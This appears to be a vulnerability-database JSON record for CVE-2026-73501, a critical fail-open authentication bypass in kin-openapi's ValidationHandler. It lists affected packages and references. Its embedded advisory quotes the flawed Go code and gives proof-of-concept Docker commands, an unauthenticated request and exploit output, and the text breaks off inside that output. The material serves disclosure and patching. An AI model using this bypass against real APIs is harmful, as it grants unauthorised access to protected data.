{"id":"CVE-2026-73501","aliases":["DEBIAN-CVE-2026-73501","EUVD-2026-57598","GHSA-r277-6w6q-xmqw","GO-2026-6095","RHSA-2026:54549","RHSA-2026:59028","RHSA-2026:59030","RHSA-2026:60866","ROOT-APP-GOBINARY-GHSA-r277-6w6q-xmqw","SUSE-SU-2026:4585-1","SUSE-SU-2026:4600-1","UBUNTU-CVE-2026-73501","openSUSE-SU-2026:11684-1","openSUSE-SU-2026:22125-1"],"status":"published","title":"kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.144.0, ValidationHandler.Load() in openapi3filter/validation_handler.go silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which returns nil without checking credentials. This substitution causes every OpenAPI security requirement to be satisfied for unauthenticated requests when an application relies on ValidationHandler as its enforcement middleware. The no-op callback prevents the fail-closed ErrAuthenticationServiceMissing path from being reached and forwards the request to protected handlers that may require an API key, OAuth token, or another security scheme. This issue is fixed in version 0.144.0.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00426,"percentile":0.37202,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-287"],"published":"2026-07-24T16:52:05Z","modified":"2026-11-06T17:15:03Z","fixes":[{"ecosystem":"Go","package":"github.com/getkin/kin-openapi","fixed_in":["0.144.0"],"sources":["ghsa","osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"grafana13.1","fixed_in":["0:13.1.3-0.2.hum1"],"sources":["osv"]},{"ecosystem":"Root:Go","package":"github.com/getkin/kin-openapi","fixed_in":["v0.140.0-aikido.3"],"sources":["osv"]},{"ecosystem":"Root:Go","package":"rootio-github.com/getkin/kin-openapi","fixed_in":["v0.140.0-root.io.3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/getkin/kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.143.0"},{"fixed":"0.144.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.110.0-1","0.117.0-1","0.118.0-1","0.120.0-1","0.122.0-1","0.122.0-2","0.122.0-3","0.123.0-1","0.124.0-1","0.135.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.124.0-1","0.135.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.124.0-1","0.135.0-1"]},{"source":"osv","ecosystem":"Go","package":"github.com/getkin/kin-openapi","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.144.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/getkin/kin-openapi","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.144.0"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"hugo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.165.0-0.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana13.1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.1.3-0.2.hum1"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana13.2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.2.0-0.1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana12.4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.4.9-0.4.hum1"}]}],"bundled":6},{"source":"osv","ecosystem":"Root:Go","package":"github.com/getkin/kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v0.140.0-aikido.3"}]}]},{"source":"osv","ecosystem":"Root:Go","package":"rootio-github.com/getkin/kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v0.140.0-root.io.3"}]}]},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-15","package":"golang-github-prometheus-prometheus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.13.2-150002.3.19.1"}]}],"bundled":58},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-15","package":"grafana","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.4.10-150002.4.27.1"}]}],"bundled":58},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-15","package":"mgr-push","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.5-150002.3.12.1"}]}],"bundled":58},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-15","package":"spacecmd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.10-150002.3.15.1"}]}],"bundled":58},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-15","package":"spacewalk-client-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.7-150002.3.12.1"}]}],"bundled":58},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-15","package":"uyuni-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.17-150002.3.20.1"}]}],"bundled":58},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-15","package":"venv-salt-minion","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3006.0-150002.5.22.1"}]}],"bundled":58},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-Micro-5","package":"uyuni-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.17-150002.3.20.1"}]}],"bundled":58},{"source":"osv","ecosystem":"SUSE:Multi Linux Manager Tools SLE-Micro-5","package":"venv-salt-minion","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3006.0-150002.5.22.1"}]}],"bundled":58},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"grafana","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.4.10-150200.3.94.3"}]}],"bundled":18},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"system-user-grafana","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.0-150200.5.8.1"}]}],"bundled":18},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.32.0-2","0.80.0-1","0.85.0-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.117.0-1","0.120.0-1","0.122.0-3","0.123.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.124.0-1","0.135.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.124.0-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"grafana","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.4.10-1.1"}]}],"bundled":9},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"grafana","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.4.10-bp160.1.1"}]}],"bundled":17}],"products":[{"vendor":"getkin","product":"kin-openapi"}],"references":[{"url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw","tags":["x_refsource_CONFIRM","exploit","advisory","web","article","report"]},{"url":"https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da","tags":["x_refsource_MISC","fix","web","article","report"]},{"url":"https://github.com/getkin/kin-openapi/releases/tag/v0.144.0","tags":["x_refsource_MISC","web","article","report"]},{"url":"https://github.com/advisories/GHSA-r277-6w6q-xmqw"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/73xxx/CVE-2026-73501.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73501","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-73501","tags":["advisory"]},{"url":"https://github.com/getkin/kin-openapi","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:54549","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-56852","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73501","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_54549.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2504233","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-56852","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56852","tags":["advisory"]},{"url":"https://go.dev/cl/794100","tags":["article"]},{"url":"https://go.dev/issue/80142","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-5970","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515006","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73501","tags":["advisory","report"]},{"url":"https://access.redhat.com/errata/RHSA-2026:59028","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_59028.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:59030","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67214","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_59030.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2508411","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67214","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67214","tags":["advisory"]},{"url":"https://github.com/ai/nanoid/commit/6ccc67bbaba71d3d77a21d9b636f4171a268ce49","tags":["article"]},{"url":"https://github.com/ai/nanoid/releases/tag/5.1.16","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/nanoid-before-infinite-loop-via-negative-size-in-non-secure-module","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:60866","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-75899","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-75931","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-75975","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-76172","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-82562","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_60866.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2521778","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-75899","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75899","tags":["advisory"]},{"url":"https://cna.openjsf.org/security-advisories.html","tags":["article"]},{"url":"https://github.com/fastify/fast-uri/security/advisories/GHSA-fph4-wmhf-6fwf","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2521777","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-75931","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75931","tags":["advisory"]},{"url":"https://github.com/fastify/fast-uri/security/advisories/GHSA-5jgf-p345-68v8","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2521779","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-75975","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75975","tags":["advisory"]},{"url":"https://github.com/fastify/fast-uri/security/advisories/GHSA-f65p-4m7j-42xc","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2521798","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-76172","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76172","tags":["advisory"]},{"url":"https://github.com/fastify/fast-uri/security/advisories/GHSA-jqff-g426-hqxp","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2525939","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-82562","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82562","tags":["advisory"]},{"url":"https://github.com/ljharb/qs/commit/8859c37470e11b42b547b275e4e9bd0bc8cc5464","tags":["article"]},{"url":"https://github.com/ljharb/qs/security/advisories/GHSA-w7fw-mjwx-w883","tags":["article"]},{"url":"https://github.com/ljharb/qs/security/advisories/GHSA-x5fp-wj9c-mxmx","tags":["article"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264585-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1218722","tags":["report"]},{"url":"https://bugzilla.suse.com/1230949","tags":["report"]},{"url":"https://bugzilla.suse.com/1252286","tags":["report"]},{"url":"https://bugzilla.suse.com/1254400","tags":["report"]},{"url":"https://bugzilla.suse.com/1257151","tags":["report"]},{"url":"https://bugzilla.suse.com/1257599","tags":["report"]},{"url":"https://bugzilla.suse.com/1259989","tags":["report"]},{"url":"https://bugzilla.suse.com/1261969","tags":["report"]},{"url":"https://bugzilla.suse.com/1261970","tags":["report"]},{"url":"https://bugzilla.suse.com/1262098","tags":["report"]},{"url":"https://bugzilla.suse.com/1262187","tags":["report"]},{"url":"https://bugzilla.suse.com/1262319","tags":["report"]},{"url":"https://bugzilla.suse.com/1262429","tags":["report"]},{"url":"https://bugzilla.suse.com/1262492","tags":["report"]},{"url":"https://bugzilla.suse.com/1262654","tags":["report"]},{"url":"https://bugzilla.suse.com/1262803","tags":["report"]},{"url":"https://bugzilla.suse.com/1263254","tags":["report"]},{"url":"https://bugzilla.suse.com/1263330","tags":["report"]},{"url":"https://bugzilla.suse.com/1263442","tags":["report"]},{"url":"https://bugzilla.suse.com/1263822","tags":["report"]},{"url":"https://bugzilla.suse.com/1263823","tags":["report"]},{"url":"https://bugzilla.suse.com/1264962","tags":["report"]},{"url":"https://bugzilla.suse.com/1265267","tags":["report"]},{"url":"https://bugzilla.suse.com/1265268","tags":["report"]},{"url":"https://bugzilla.suse.com/1265413","tags":["report"]},{"url":"https://bugzilla.suse.com/1265525","tags":["report"]},{"url":"https://bugzilla.suse.com/1265763","tags":["report"]},{"url":"https://bugzilla.suse.com/1266481","tags":["report"]},{"url":"https://bugzilla.suse.com/1266608","tags":["report"]},{"url":"https://bugzilla.suse.com/1266669","tags":["report"]},{"url":"https://bugzilla.suse.com/1267261","tags":["report"]},{"url":"https://bugzilla.suse.com/1267528","tags":["report"]},{"url":"https://bugzilla.suse.com/1267534","tags":["report"]},{"url":"https://bugzilla.suse.com/1267538","tags":["report"]},{"url":"https://bugzilla.suse.com/1267581","tags":["report"]},{"url":"https://bugzilla.suse.com/1267821","tags":["report"]},{"url":"https://bugzilla.suse.com/1267980","tags":["report"]},{"url":"https://bugzilla.suse.com/1268325","tags":["report"]},{"url":"https://bugzilla.suse.com/1268395","tags":["report"]},{"url":"https://bugzilla.suse.com/1268396","tags":["report"]},{"url":"https://bugzilla.suse.com/1268397","tags":["report"]},{"url":"https://bugzilla.suse.com/1268649","tags":["report"]},{"url":"https://bugzilla.suse.com/1268755","tags":["report"]},{"url":"https://bugzilla.suse.com/1268868","tags":["report"]},{"url":"https://bugzilla.suse.com/1268977","tags":["report"]},{"url":"https://bugzilla.suse.com/1269066","tags":["report"]},{"url":"https://bugzilla.suse.com/1269788","tags":["report"]},{"url":"https://bugzilla.suse.com/1269841","tags":["report"]},{"url":"https://bugzilla.suse.com/1269856","tags":["report"]},{"url":"https://bugzilla.suse.com/1269959","tags":["report"]},{"url":"https://bugzilla.suse.com/1269966","tags":["report"]},{"url":"https://bugzilla.suse.com/1270033","tags":["report"]},{"url":"https://bugzilla.suse.com/1270285","tags":["report"]},{"url":"https://bugzilla.suse.com/1270398","tags":["report"]},{"url":"https://bugzilla.suse.com/1270399","tags":["report"]},{"url":"https://bugzilla.suse.com/1270711","tags":["report"]},{"url":"https://bugzilla.suse.com/1271192","tags":["report"]},{"url":"https://bugzilla.suse.com/1271330","tags":["report"]},{"url":"https://bugzilla.suse.com/1271428","tags":["report"]},{"url":"https://bugzilla.suse.com/1271557","tags":["report"]},{"url":"https://bugzilla.suse.com/1271613","tags":["report"]},{"url":"https://bugzilla.suse.com/1272008","tags":["report"]},{"url":"https://bugzilla.suse.com/1272102","tags":["report"]},{"url":"https://bugzilla.suse.com/1272328","tags":["report"]},{"url":"https://bugzilla.suse.com/1272427","tags":["report"]},{"url":"https://bugzilla.suse.com/1273094","tags":["report"]},{"url":"https://bugzilla.suse.com/1273144","tags":["report"]},{"url":"https://bugzilla.suse.com/1274217","tags":["report"]},{"url":"https://bugzilla.suse.com/1274221","tags":["report"]},{"url":"https://bugzilla.suse.com/1275205","tags":["report"]},{"url":"https://bugzilla.suse.com/1275206","tags":["report"]},{"url":"https://bugzilla.suse.com/1275207","tags":["report"]},{"url":"https://bugzilla.suse.com/1275934","tags":["report"]},{"url":"https://bugzilla.suse.com/1276426","tags":["report"]},{"url":"https://bugzilla.suse.com/1276658","tags":["report"]},{"url":"https://bugzilla.suse.com/1276973","tags":["report"]},{"url":"https://bugzilla.suse.com/1277025","tags":["report"]},{"url":"https://bugzilla.suse.com/1278307","tags":["report"]},{"url":"https://bugzilla.suse.com/1278322","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2023-45289","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-22195","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-13836","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-4673","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-61686","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-0864","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11940","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11972","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-1229","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-13346","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-14199","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-1502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-15308","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-1703","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-17033","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-17183","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-19197","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-19475","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-21723","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-2303","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27459","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-3219","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-3276","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33814","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-3446","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-3479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39882","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40475","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41066","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41606","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42127","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42211","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42342","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-4360","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44431","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44990","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45409","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-4786","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49825","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49853","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49854","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53606","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56852","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6019","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6100","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6357","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7210","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73501","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7774","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-8328","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-8595","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-8609","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-8643","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-9029","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264600-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-73501","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-73501","title":"kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.144.0, ValidationHandler.Load() in openapi3filter/validation_handler.go silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which returns nil without checking credentials. This substitution causes every OpenAPI security requirement to be satisfied for unauthenticated requests when an application relies on ValidationHandler as its enforcement middleware. The no-op callback prevents the fail-closed ErrAuthenticationServiceMissing path from being reached and forwards the request to protected handlers that may require an API key, OAuth token, or another security scheme. This issue is fixed in version 0.144.0.","status":"published","published":"2026-08-12T21:23:40.623Z","modified":"2026-08-13T13:06:36.863Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"cna"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T13:43:22.599321Z"}],"euvd":[{"id":"EUVD-2026-57598","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.144.0, ValidationHandler.Load() in openapi3filter/validation_handler.go silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which returns nil without checking credentials. This substitution causes every OpenAPI security requirement to be satisfied for unauthenticated requests when an application relies on ValidationHandler as its enforcement middleware. The no-op callback prevents the fail-closed ErrAuthenticationServiceMissing path from being reached and forwards the request to protected handlers that may require an API key, OAuth token, or another security scheme. This issue is fixed in version 0.144.0.","status":"published","published":"2026-08-12T21:23:40Z","modified":"2026-08-13T13:06:36Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T18:01:56.761721Z"}],"ghsa":[{"id":"GHSA-r277-6w6q-xmqw","title":"kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default","description":"### Summary\n`ValidationHandler.Load()` in `getkin/kin-openapi` silently replaces a nil `AuthenticationFunc` with `NoopAuthenticationFunc`, which always returns `nil` without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI `security` requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on `ValidationHandler` as its enforcement middleware. \n\n### Details\n`ValidationHandler` is an HTTP middleware exported by `openapi3filter` that validates incoming requests and responses against a loaded OpenAPI specification. Its `Load()` method initialises default fields before the handler begins serving:\n\n```go\n// openapi3filter/validation_handler.go:47-49\nif h.AuthenticationFunc == nil {\n    h.AuthenticationFunc = NoopAuthenticationFunc\n}\n```\n\n`NoopAuthenticationFunc` is defined as:\n\n```go\n// openapi3filter/validation_handler.go:17-18\nfunc NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }\n```\n\nIt always returns `nil`, meaning every security scheme check it handles is automatically approved.\n\nWhen a request arrives, `ServeHTTP` → `before` → `validateRequest` assembles a `RequestValidationInput` with the current `AuthenticationFunc` (now the no-op) injected into `Options`:\n\n```go\n// openapi3filter/validation_handler.go:91-103\noptions := \u0026Options{\n    AuthenticationFunc: h.AuthenticationFunc,\n}\nrequestValidationInput := \u0026RequestValidationInput{\n    Request:    r,\n    PathParams: pathParams,\n    Route:      route,\n    Options:    options,\n}\nif err = ValidateRequest(r.Context(), requestValidationInput); err != nil {\n    return err\n}\n```\n\nInside `ValidateRequest`, each security requirement calls `options.AuthenticationFunc`:\n\n```go\n// openapi3filter/validate_request.go:436-438\nf := options.AuthenticationFunc\nif f == nil {\n    return ErrAuthenticationServiceMissing   // fail-closed path — never reached via ValidationHandler\n}\n// ...\n// openapi3filter/validate_request.go:497-503\nif err := f(ctx, \u0026AuthenticationInput{...}); err != nil {\n    return err\n}\n```\n\nBecause `f` is the no-op (not `nil`), the `ErrAuthenticationServiceMissing` guard is never triggered and `f(...)` returns `nil`, clearing the security requirement. Control then proceeds to the protected handler (`validation_handler.go:61-62`).\n\nThe critical contradiction is that callers who use `ValidateRequest` directly with a nil `AuthenticationFunc` get fail-closed behavior (`ErrAuthenticationServiceMissing`), while callers who use the higher-level `ValidationHandler` with a nil `AuthenticationFunc` get fail-open behavior. Since omitting `AuthenticationFunc` is the natural default, the majority of real-world integrations are vulnerable.\n\nAffected source file and line: `openapi3filter/validation_handler.go:47–49` (commit `30e2923`, tag `v0.143.0`).\n\n### PoC\n**Environment**\n\n```\nDocker (any version supporting multi-stage builds)\nGo 1.25 (inside the container via golang:1.25-alpine)\ngetkin/kin-openapi v0.143.0 (local source copy)\n```\n\n**Step 1 — Build the Docker image**\n\nFrom the repository root (parent of `vuln-001/`):\n\n```bash\ndocker build \\\n  -t vuln001-auth-bypass-poc \\\n  -f vuln-001/Dockerfile \\\n  reports/github_web_233_getkin__kin-openapi\n```\n\nThe `Dockerfile` copies the local `kin-openapi` source into `/kin-openapi/` inside the image and builds a Go binary (`/poc-binary`) from `main.go`. The `go.mod` inside the image uses a `replace` directive pointing to `/kin-openapi`, so no network access to the Go module proxy is required.\n\n**Step 2 — Run the container**\n\n```bash\ndocker run --rm --network none vuln001-auth-bypass-poc\n```\n\n**Step 3 (alternative) — Use the Python helper**\n\n```bash\npython3 vuln-001/poc.py --no-cleanup\n```\n\n**What the PoC does**\n\n`main.go` creates a temporary OpenAPI 3.0 spec that declares `GET /secret` as protected by an `apiKey` security scheme:\n\n```yaml\npaths:\n  /secret:\n    get:\n      security:\n        - apiKey: []\ncomponents:\n  securitySchemes:\n    apiKey:\n      type: apiKey\n      name: X-Api-Key\n      in: header\n```\n\nIt then constructs a `ValidationHandler` **without** setting `AuthenticationFunc`, calls `Load()`, and sends a request with no `X-Api-Key` header:\n\n```http\nGET /secret HTTP/1.1\nHost: example.test\n# X-Api-Key header is intentionally absent\n```\n\n**Expected (vulnerable) output**\n\n```\n=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===\n  Direct ValidateRequest (nil auth) =\u003e ERROR: security requirements failed: missing AuthenticationFunc\n  -\u003e Fail-CLOSED behavior confirmed: missing auth function is rejected\n\n=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===\n  OpenAPI spec defines: security: [{apiKey: []}] on GET /secret\n  ValidationHandler.AuthenticationFunc: NOT SET (nil)\n  Load() will inject NoopAuthenticationFunc, which always returns nil\n\n  Request:  GET /secret  (X-Api-Key header: absent)\n  Response: status=200  body=\"SECRET_DATA\\n\"\n\n[EXPLOIT SUCCESS] Auth 